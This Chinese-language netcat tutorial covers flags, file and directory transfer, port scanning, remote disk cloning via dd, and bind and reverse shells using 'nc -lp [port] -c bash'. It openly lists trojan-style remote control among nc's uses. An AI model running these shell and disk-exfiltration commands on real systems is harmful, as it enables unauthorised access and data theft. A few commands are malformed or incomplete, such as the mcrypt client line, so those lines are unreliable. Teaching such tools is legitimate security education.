网络工具中的瑞士军刀--小身材,大智慧!!!
功能
1.侦听模式/传输模式
2.telnet/获取banner信息
3.传输文本信息
4.传输文件/目录
5.加密传输文件
6.远程控制/木马
7.加密所有流量
8.流媒体服务器
9.远程克隆硬盘
参数介绍
-g 设置路由器跃程通信网关,最多可设置8个。
-G 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i 设置时间间隔,以便传送信息及扫描通信端口。
-l 监听模式,用于入站连接 (监听本地端口)。
-n 直接使用IP地址,而不通过域名服务器。
-o 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p 设置本地主机使用的通信端口。
-r 随机指定本地与远端主机的通信端口。
-s设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程,使用两次更详细
-w 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
-c shell commands: 使用shell执行 命令(bash 打开bash命令,即可不断执行命令, Win下为cmd)
-e filename: 运行指定程序
-q secs 当命令执行完成后,等待secs秒退出
传输文本信息
服务器A(服务器):nc -l -p 【port】
服务器B(客户端):nc -nv 【IP】
服务器A:root@kali:~# nc -l -p [port] > ps.txt 监听333端口且将内容重定向到ps.txt文件中
服务器B:root:~# ps aux | nc -nv [IP] [port] -q 1 执行命令 ps aux 查看当前进程,通过管道输出,完成后在一秒后断开连接
传输文件
服务器A(服务器):nc -lp [port] > 1.mp4
服务器B(客户端):nc -nv [IP] [port]
或
服务器A(服务器):nc -q 1 -lp [port]
服务器B(客户端):nc -nv [IP] [port] > 2.mp4
接收的文件文件名可以修改
传输目录
服务器A(服务器):tar -cvf - Sublime/ | nc - lp [port] -q 1
服务器B(客户端): nc -nv [IP] [port] | tar -xvf -
tar 是unix/linux下的打包器。
-cvf可以看做-c -v -f,-xvf则是-x -v -f。
其中-c/-x分别表示create/extract,即打包/解包。
-v 是verbose,表示显示打包/解包的详细过程。
-f 表示file,表示打包输出/解包输入文件,后面跟"-"表示使用“标准输入/输出”(stdin/stdout)作为输出/输入文件。
两个tar命令之间的"|"表示“重定向”,即第一个命令的stdout(也就是打包的输出)作为第二个命令的stdin(也就是解包的输入)
加密传文件
服务器A(服务器):nc -lp [port] | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
服务器B(客户端):mcrypt --flush -Fbq -a -m ecb
(kali默认没有mcrypt)
流媒体服务
服务器A(服务器):cat 1.mp4 | nc -lp [port]
服务器B(客户端):nc [IP] [port] | mplayer -vo x11 -cache 3000 -
(kali默认没有mplayer)
端口扫描
nc -nvz [IP] 1-65535(端口) 扫描端口
nc -nvzu [IP] 1-65535(端口)扫描UDP端口
远程克隆硬盘
远程电子取证,可以将目标服务器硬盘远程复制,或者内存
服务器A(取证方):nc -lp [port] | dd of =/dev/sda
服务器B(被取证):dd if=/dev/sda | nc -nc [IP] [port] -q 1
d:用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换。
if=文件名:输入文件名,缺省为标准输入。即指定源文件。
of=文件名:输出文件名,缺省为标准输出。即指定目的文件。
远程控制
正向:
服务器A(服务器): nc -lp [port] -c bash
服务器B(客户端):nc [IP] [port]
反向:
服务器A(服务器):nc [IP] [port]
服务器B(客户端):nc -lp [port] -c bash
注意:(windows端可以将bash换成cmd)
NC的弱点
1.缺乏加密的能力。nc的传输是不加密的明文传输,有可能被嗅探,ARP欺骗的中间人劫持,做镜像端口等
2.无法判断连接接口的用户
可以用nact(Kali不自带),会对传输管道进行加密,命令如下
服务器A(服务器):ncat -c bash -allow [IP] -vnl [port] --ssl
服务器B(客户端):ncat -nv [IP] [port] --ssl
不同系统/平台上的nc参数功能不尽相同,在使用的过程中可以用nc --help或man nc查看手册(manual 手册)
欢迎关注网络空间安全社公众号:
领取专属 10元无门槛券
私享最新 技术干货